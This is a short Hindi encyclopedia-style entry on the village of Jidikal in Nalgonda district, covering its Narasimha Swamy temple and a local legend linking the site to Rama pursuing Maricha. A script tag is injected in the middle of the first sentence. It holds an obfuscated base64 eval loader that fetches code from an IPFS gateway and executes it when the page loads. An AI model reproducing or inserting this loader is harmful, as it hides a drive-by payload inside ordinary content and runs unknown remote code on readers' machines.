जीडीकल

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जीडीकल नलगोंडा ज़िला, आन्ध्र प्रदेश में जनगाँव से 18 मील (लगभग 28.8 कि.मी.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> की दूरी पर स्थित है। इस ग्राम का मुख्य स्मारक एक विस्तीर्ण चट्टान पर बना हुआ नरसिंह स्वामी का मंदिर है।[1]

  • ऐसा माना जाता है कि इसी स्थान पर सीता ने श्रीराम को मायामृग मारीच के पीछे भेजा था।
  • जीडीकल का शुद्ध रूप 'जिकाकल' या 'मृगशैल' हो सकता है और यह किंवदंती भी शायद इसी नाम के आधार पर बनी है, क्योंकि जिस स्थान से श्रीराम मारीच के पीछे गए थे, यह पंचवटी (नासिक, महाराष्ट्र) के निकट होना चाहिए।


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टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 367 |

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